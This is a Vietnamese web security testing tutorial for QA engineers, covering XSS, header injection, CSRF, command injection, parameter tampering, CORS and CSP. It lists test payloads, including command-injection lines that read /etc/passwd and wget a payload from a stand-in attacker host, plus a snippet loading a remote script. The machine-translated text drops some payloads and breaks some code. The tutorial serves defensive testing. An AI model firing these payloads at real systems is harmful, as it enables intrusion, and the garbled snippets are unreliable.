Các yếu tố cần thiết về an ninh mạng: Mẹo kiểm tra bảo mật ứng dụng web thực tế dành cho kỹ sư QA

Bài viết này khám phá các lỗ hổng cơ bản và kỹ thuật kiểm tra, cung cấp những hiểu biết thực tế để nâng cao kỹ năng kiểm tra ứng dụng web của bạn. Bài viết kết hợp một loạt bài đăng của tôi dành riêng cho các kỹ sư và nhà phân tích QA, cung cấp thông tin khám phá thực tế về các lỗ hổng bảo mật cơ bản trên mạng. Mục đích là trao quyền cho Kỹ sư/Người kiểm tra/Nhà phân tích QA kiến thức giúp thu hẹp khoảng cách giữa QA phần mềm và , thúc đẩy một cách tiếp cận thống nhất để đảm bảo tính toàn vẹn và bảo mật của các ứng dụng web. an ninh mạng Đây không phải là hướng dẫn cơ bản nhưng tôi muốn chia sẻ kinh nghiệm của mình với tư cách là một kỹ sư QA quan tâm đến lĩnh vực an ninh mạng; đó sẽ là thông tin khá hời hợt với một số liên kết hữu ích nếu bạn muốn tìm hiểu sâu hơn về một số khía cạnh. 1. XSS (Kịch bản chéo trang) Một trong những lỗ hổng nghiêm trọng và phổ biến nhất là XSS - https://owasp.org/www-community/Attack/xss/ Tôi sẽ chia sẻ một cách tiếp cận đơn giản và các mẹo về cách kiểm tra XSS mà không cần có kiến thức sâu rộng về lĩnh vực này và các công nghệ dành cho nhà phát triển giao diện người dùng. Ví dụ: nhập thẻ script, theo sau là một số mã JS, vào các trường nhập của ứng dụng của bạn. alert('XSS'); (%0ejavascript:alert(/XSS/)) Gửi đầu vào và xem tập lệnh có thực thi hay không. Nếu đúng như vậy thì ứng dụng dễ bị tấn công XSS. Nếu tập lệnh không thực thi, hãy thử sửa đổi đầu vào bằng cách thêm các thẻ HTML khác, chẳng hạn như hoặc và xem liệu chúng có được phản ánh trên trang hay không (ví dụ này hầu như luôn hoạt động với tôi) t #`"/*—est Bạn có thể thêm tập lệnh để truy vấn thông số URL ứng dụng web hoặc tên người dùng, tên tệp đã tải lên ( ) hoặc bất kỳ văn bản nào sẽ được hiển thị trên trang ứng dụng mà bạn có thể thay đổi . https://github.com/cure53/H5SC Hãy lưu ý đến việc xác nhận đầu vào ở mặt trước. Luôn cố gắng gửi giá trị bằng yêu cầu trực tiếp (sử dụng Postman, Burp hoặc bất kỳ công cụ tương tự nào). Sử dụng tính năng làm mờ và danh sách tải trọng - tự động hóa phương pháp này khi có thể hoặc sử dụng các công cụ đặc biệt cho nó. Nói về các công cụ, có rất nhiều công cụ để khám phá XSS, thử các công cụ khác nhau, so sánh kết quả nhiều lần với các ứng dụng khác nhau và chọn ứng dụng bạn thích nhất: (Tôi đã sử dụng rất nhiều OWASP ZAP và BurpSuite). https://linuxhint.com/free_xss_tools/ Cá nhân tôi thích sử dụng tải trọng và thông tin từ đây - - theo ý kiến của tôi, một tài nguyên rất hữu ích. https://github.com/s0md3v/AwesomeXSS Để biết thêm chi tiết về XSS và tải trọng, bạn có thể tìm thấy các tài nguyên sau: https://owasp.org/www-community/Attack/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://Gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 2. Tiêm tiêu đề Lỗ hổng này xảy ra khi kẻ tấn công có thể tiêm mã độc vào tiêu đề của trang web, cho phép chúng thực hiện các hành động trái phép hoặc truy cập thông tin nhạy cảm. Để kiểm tra tính năng chèn Tiêu đề, bạn có thể làm theo một số bước: Sử dụng các công cụ như Postman, Burp hoặc bất kỳ công cụ tương tự nào để thao tác với tiêu đề HTTP và xem liệu bạn có thể thêm bất kỳ tiêu đề trái phép nào hoặc sửa đổi tiêu đề hiện có hay không. Kiểm tra xem máy chủ có gửi thông tin nhạy cảm trong tiêu đề phản hồi hay không. Cố gắng thao túng cookie bằng cách thêm nội dung độc hại hoặc sửa đổi giá trị của chúng. Một ví dụ về tải trọng để kiểm tra việc chèn Tiêu đề là bao gồm ký tự dòng mới trong trường tiêu đề, theo sau là các tiêu đề bổ sung. (%0d%0a OR \r\n) Ví dụ: tải trọng sau có thể được sử dụng để chèn tiêu đề Set-Cookie: User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked Một ví dụ khác là việc chèn tiêu đề Máy chủ, trong đó kẻ tấn công có thể thao túng tiêu đề Máy chủ để truy cập một trang web hoặc tên miền phụ khác trên cùng một máy chủ. Ví dụ: Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com Để tìm hiểu thêm về tính năng chèn Tiêu đề, bạn có thể tham khảo các tài nguyên sau: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection https://portswigger.net/research/making-http-header-injection-essential-via-response-queue-poisoning https://www.acunetix.com/blog/web-security-zone/http-header-injection/ https://portswigger.net/web-security/host-header/exploiting 3. CSRF (Giả mạo yêu cầu trên nhiều trang web) CSRF xảy ra khi một trang web độc hại lừa người dùng hành động trên một trang web khác mà người dùng hiện đang đăng nhập. Kiểu tấn công này có thể dẫn đến các hành động trái phép (bất kỳ yêu cầu POST nào) được thực hiện thay mặt người dùng. Để kiểm tra lỗ hổng CSRF, tóm lại, bạn có thể làm như sau: Tìm bất kỳ biểu mẫu hoặc hành động nào trên trang web thực hiện các hành động nhạy cảm, có thể là thay đổi mật khẩu hoặc thực hiện giao dịch (hoặc bất kỳ yêu cầu đăng bài nào khác có thể gây hại cho người dùng nếu chúng được thực hiện thay mặt người dùng mà họ không biết). Tạo một trang HTML hoặc đoạn mã chứa biểu mẫu ẩn thực hiện cùng một hành động, ví dụ: Lưu mã này dưới dạng tệp HTML và mở nó trong cùng trình duyệt mà bạn đã đăng nhập vào trang web mà bạn kiểm tra. Kiểm tra xem hành động đó có được thực hiện mà người dùng không biết hoặc không cho phép hay không. Trong ví dụ từ 2, người dùng bị lừa truy cập vào một trang web tự động gửi biểu mẫu ẩn để chuyển 1000 vào tài khoản của kẻ tấn công trên trang web mục tiêu. Để ngăn chặn các cuộc tấn công CSRF, hãy sử dụng mã thông báo chống CSRF hoặc cookie cùng trang để xác thực nguồn gốc của yêu cầu. Các mã thông báo này là các giá trị duy nhất được tạo bởi máy chủ và được bao gồm trong tham số biểu mẫu hoặc URL. Khi biểu mẫu được gửi, máy chủ sẽ kiểm tra xem mã thông báo có khớp với giá trị mong đợi hay không và từ chối yêu cầu nếu chúng không khớp. Đây là một ví dụ trong Python: import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response Tài nguyên hữu ích: https://owasp.org/www-community/Attack/csrf https://portswigger.net/web-security/csrf https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevent_Cheat_Sheet.html 4. RCE (Thực thi mã từ xa) và chèn lệnh Lỗ hổng RCE và Command Insert xảy ra khi kẻ tấn công có thể thực thi mã tùy ý hoặc lệnh hệ điều hành trên hệ thống đích. Những kiểu tấn công này có thể dẫn đến sự xâm phạm hoàn toàn hệ thống và truy cập trái phép vào dữ liệu nhạy cảm. Để kiểm tra lỗ hổng RCE và Command Insert, tóm lại, bạn có thể thực hiện như sau: Xác định các trường đầu vào hoặc tham số có thể được thao tác. Bạn có thể tìm thấy các trường hoặc thông số đầu vào này ở nhiều nơi, chẳng hạn như biểu mẫu, tham số URL, cookie, tiêu đề HTTP, v.v. Để xác định các thông số đó, bạn có thể sử dụng một công cụ như Burp Suite, cho phép bạn chặn và sửa đổi các yêu cầu và phản hồi HTTP (trong phiên bản miễn phí). Burp sẽ nắm bắt và hiển thị tất cả các yêu cầu và phản hồi, bao gồm các trường và tham số đầu vào. Khi đã có thông số, bạn cần kiểm tra xem liệu chúng có thể được sử dụng để thực thi mã hoặc lệnh hệ điều hành được chèn hay không. Đưa các tải trọng độc hại vào các trường hoặc tham số đó, đây là một số ví dụ đơn giản và khả thi: ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 Kiểm tra hành vi của ứng dụng để xem liệu tải trọng có được thực thi thành công hay không và có bất kỳ thông tin nhạy cảm nào được gửi cho bạn hay không. Ví dụ: nếu bạn đã sử dụng và ứng dụng hiển thị danh sách các tệp và thư mục trên máy chủ, điều này cho thấy tải trọng đã được thực thi thành công và ứng dụng dễ bị tấn công bằng lệnh tiêm. ls -la Không phải tất cả tải trọng sẽ dẫn đến một số đầu ra hiển thị. Trong những trường hợp như vậy, bạn có thể cần sử dụng các phương pháp khác, chẳng hạn như giám sát lưu lượng mạng hoặc xem lại tệp nhật ký. Để ngăn chặn các cuộc tấn công RCE và Command Insert, đầu vào của người dùng phải được xác thực và các ký tự hoặc lệnh độc hại phải được loại bỏ hoặc loại bỏ. Dưới đây là một số tài nguyên hữu ích để học thêm: https://owasp.org/www-community/Attack/Command_Injection https://owasp.org/www-community/Attack/Code_Injection https://portswigger.net/web-security 5. Giả mạo thông số web Kiểu tấn công này xảy ra khi bạn thao túng các thông số được gửi từ phía máy khách đến phía máy chủ, chẳng hạn như dẫn đến truy cập trái phép hoặc leo thang đặc quyền. Để kiểm tra loại lỗ hổng này, bạn có thể làm như sau: Xác định các trường đầu vào hoặc thông số có thể được thao tác. Tương tự như các lỗ hổng khác, bạn có thể sử dụng công cụ như Burp Suite để chặn và sửa đổi các yêu cầu cũng như phản hồi HTTP. Sửa đổi các thông số. Ví dụ: nếu một tham số kiểm soát giá của một sản phẩm, bạn có thể sửa đổi tham số đó để mua các mặt hàng với giá thấp hơn:- thay đổi giá của sản phẩm từ 10 thành 1.- bỏ qua xác thực bằng cách thao tác tham số ID người dùng.- thay đổi tham số số lượng sản phẩm sang số âm để được hoàn tiền hoặc lên số cao hơn để nhận được nhiều mặt hàng hơn với giá của 1 mặt hàng. Kiểm tra hoạt động của ứng dụng để xem liệu việc giả mạo có thành công hay không. Ví dụ: nếu bạn thay đổi giá thành công, ứng dụng sẽ phản ánh thay đổi đó khi bạn kiểm tra giỏ hàng hoặc biên lai. Và tất nhiên, hãy báo cáo những phát hiện của bạn cho nhà phát triển để họ có thể khắc phục sự cố trước khi nó trở thành rủi ro bảo mật. Để ngăn chặn các cuộc tấn công giả mạo tham số web, việc xác thực và vệ sinh đầu vào là rất quan trọng. Đảm bảo rằng tất cả dữ liệu đầu vào được xác thực ở phía máy chủ và ứng dụng từ chối mọi dữ liệu đầu vào độc hại. Tôi có thể nói rằng những loại lỗ hổng này là loại lỗ hổng tốt nhất nên được nhóm QA xác định vì QA biết ứng dụng/sản phẩm cũng như logic và thông số của nó tốt hơn các kỹ sư infosec, những người thường không tham gia vào quá trình phát triển. Dưới đây là một số tài nguyên bổ sung để giúp bạn tìm hiểu thêm về Giả mạo thông số web: https://owasp.org/www-community/Attack/Web_Parameter_Tampering https://www.geeksforgeeks.org/web-parameter-tampering-Attack-on-web-servers/ https://www.imperva.com/learn/application-security/parameter-tampering/ 6. Chia sẻ tài nguyên giữa các nguồn gốc (CORS) Đây là cơ chế bảo mật hạn chế các trang web gửi yêu cầu đến một miền khác với miền phục vụ trang web đó. Bạn có thể kiểm tra bằng cách làm như sau: Mở trong trình duyệt bất kỳ tên miền nào (ví dụ: google.com) mà từ đó bị cấm truy cập vào máy chủ của bạn. Trong bảng điều khiển trình duyệt, sử dụng lệnh này: fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); }) Nếu mọi thứ được cấu hình đúng, bạn sẽ nhận được những điều sau: access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Thực hiện các bước đơn giản sau: Tìm tên miền gốc và tên miền đích liên quan đến yêu cầu. Miền gốc là miền của trang web đưa ra yêu cầu và miền đích là miền mà yêu cầu được gửi tới. Sử dụng công cụ như Postman, gửi yêu cầu từ miền gốc đến miền đích. Đảm bảo bao gồm các tiêu đề thích hợp để cho biết rằng yêu cầu là yêu cầu có nguồn gốc chéo. Máy chủ phải bao gồm tiêu đề Access-Control-Allow-Origin trong phản hồi để cho biết rằng yêu cầu được cho phép từ miền gốc. Nếu tiêu đề này bị thiếu hoặc được đặt thành một giá trị khác, nó có thể chỉ ra lỗ hổng trong ứng dụng. Nếu tiêu đề Access-Control-Allow-Origin bị thiếu hoặc được đặt thành một giá trị, hãy thử bỏ qua các hạn chế bằng cách sửa đổi yêu cầu. Ví dụ: bạn có thể thử thay đổi tiêu đề Origin để khớp với miền đích hoặc sử dụng phương thức HTTP khác. Dưới đây là một số yêu cầu ví dụ để kiểm tra: Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With Phản ứng: HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With Để biết thêm thông tin về CORS, đây là một số tài nguyên hữu ích: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS https://portswigger.net/web-security/cors 7. Tiêu đề Chính sách bảo mật nội dung (CSP) không được đặt CSP là cơ chế giúp ngăn chặn các cuộc tấn công XSS bằng cách cho phép chỉ định nguồn nội dung nào được phép tải trên các trang web. Nếu không đặt tiêu đề CSP, có khả năng bạn sẽ chèn các tập lệnh độc hại vào trang và đánh cắp dữ liệu nhạy cảm của người dùng hoặc thực hiện các hành động khác. Bạn có thể làm như sau để kiểm tra tiêu đề CSP: Mở trang web bạn muốn kiểm tra trong trình duyệt. Mở công cụ phát triển trong trình duyệt của bạn và đi tới Bảng điều khiển. Nhập mã sau: document.cookie=TESTCOOKIE=XSS; Nếu nó chạy thành công - không có thông báo lỗi. Điều này cho thấy trang này có khả năng dễ bị tấn công bởi XSS vì nó cho phép đặt cookie từ nguồn bên ngoài. Hãy thử chèn một tập lệnh vào trang và xem nó có thực thi hay không. Ví dụ: chèn đoạn mã sau vào bảng điều khiển trình duyệt: var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script); Tìm tiêu đề Chính sách bảo mật nội dung trong tiêu đề phản hồi. Nếu tiêu đề này bị thiếu, điều đó có nghĩa là trang web chưa đặt tiêu đề CSP. Tiêu đề CSP là một điều quan trọng trong bảo mật ứng dụng web. Để biết thêm thông tin về CSP: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP Mối quan hệ cộng sinh giữa an ninh mạng và QA phần mềm rất quan trọng về mặt bảo mật của các ứng dụng phần mềm. Thông qua việc tích hợp các phương pháp lập mô hình mối đe dọa và kỹ thuật kiểm tra lông tơ tự động, các kỹ sư QA góp phần đáng kể vào việc phát hiện sớm và giảm thiểu các lỗ hổng bảo mật. Sự hợp tác giữa các nhóm an ninh mạng và QA là một phần không thể thiếu trong cách tiếp cận thống nhất để phát triển phần mềm, với vai trò của QA mở rộng ra ngoài việc kiểm tra chức năng và khả năng sử dụng để bao gồm việc chủ động xác định và khắc phục các lỗi bảo mật tiềm ẩn. Việc công nhận QA là tài sản chiến lược trong nỗ lực an ninh mạng là rất quan trọng vì nó không chỉ tăng cường bảo vệ dữ liệu mà còn bảo vệ danh tiếng của công ty, niềm tin của khách hàng và sự ổn định tài chính tổng thể. Kỹ năng kỹ thuật của các chuyên gia QA, cùng với phương pháp thực hành kiểm tra nghiêm ngặt của họ, sẽ thiết lập nên khả năng phòng thủ vững chắc trước các mối đe dọa trên mạng. Một lời nhắc nhở quan trọng: Luôn tiến hành thử nghiệm thâm nhập với sự cho phép rõ ràng và trong môi trường được kiểm soát. Cách tiếp cận mang tính đạo đức này đảm bảo rằng các đánh giá bảo mật phù hợp với các giao thức thử nghiệm có trách nhiệm, ngăn chặn sự xâm phạm vô tình đối với hệ thống và duy trì tính toàn vẹn của cả quy trình thử nghiệm cũng như chiến lược an ninh mạng tổng thể. Bài viết này chia sẻ những lời khuyên thiết thực dành cho kỹ sư QA để cải thiện việc kiểm tra bảo mật ứng dụng web, kết nối QA phần mềm và an ninh mạng. Đây là hướng dẫn thân thiện với người mới bắt đầu với những hiểu biết sâu sắc và các liên kết hữu ích cho những ai muốn tìm hiểu thêm. Cũng được xuất bản . ở đây